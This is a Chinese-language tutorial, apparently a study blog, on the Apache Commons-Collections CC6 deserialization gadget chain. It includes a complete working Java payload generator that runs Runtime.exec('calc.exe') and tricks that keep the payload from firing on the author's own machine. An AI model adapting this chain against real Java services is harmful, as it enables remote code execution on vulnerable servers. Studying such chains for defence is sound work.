之前学cc1的时候我们就了解到cc1对Java版本是有要求的,Java版本低于8u71才行。因为在8u71之后AnnotationInvocationHandler#readObject的逻辑变了,我们就要找一个新的地方,一个能触发LazyMap的get方法的地方。
经过寻找,也是在TiedMapEntry中找到了,TiedMapEntry的代码大概如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; }
public Object getValue() { return this.map.get(this.key); }
public int hashCode() { Object value = this.getValue(); return ... }
|
而在ysoserial中,是利⽤ java.util.HashSet#readObject到 HashMap#put() 到 HashMap#hash(key)最后到 TiedMapEntry#hashCode()
实际上在HashMap的readobject中就有hash的调用

而hash中又调用了hashCode,所以只要hash中的key为TiedMapEntry对象即可
利用链这不就来了:
HashMap.readObject() -> hash(key) -> TiedMapEntry.hashCode() -> TiedMapEntry.getValue() -> LazyMap.get() -> 爆炸
但是这里为了防止本地电脑在生成payload的时候在自己电脑爆炸,p神用了2个技巧,先看整体payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Map;
public class CC6 { public static void main(String[] args) throws Exception { Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1) };
Transformer[] realTransformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) };
ChainedTransformer chain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, chain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "x");
Map expMap = new HashMap(); expMap.put(tme, "value");
outerMap.remove("x");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chain, realTransformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();
System.out.println("[-] Payload 构建完成,开始反序列化攻击..."); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); ois.readObject(); } }
|
- 当执行expMap.put的时候,本地hashmap存这个数据就会计算tme的hash,然后就会触发,所以我们要先放入一个假弹,等put执行完,再把真弹放进去
- 在本地假弹put的时候,lazymap里面已经有了keykey的缓存,如果直接发给服务器,服务器看到有这个缓存,是不会去触发的,所以本地put之后要把keykey给删掉,这样服务器才会觉得这是一个新值,然后去重新计算hash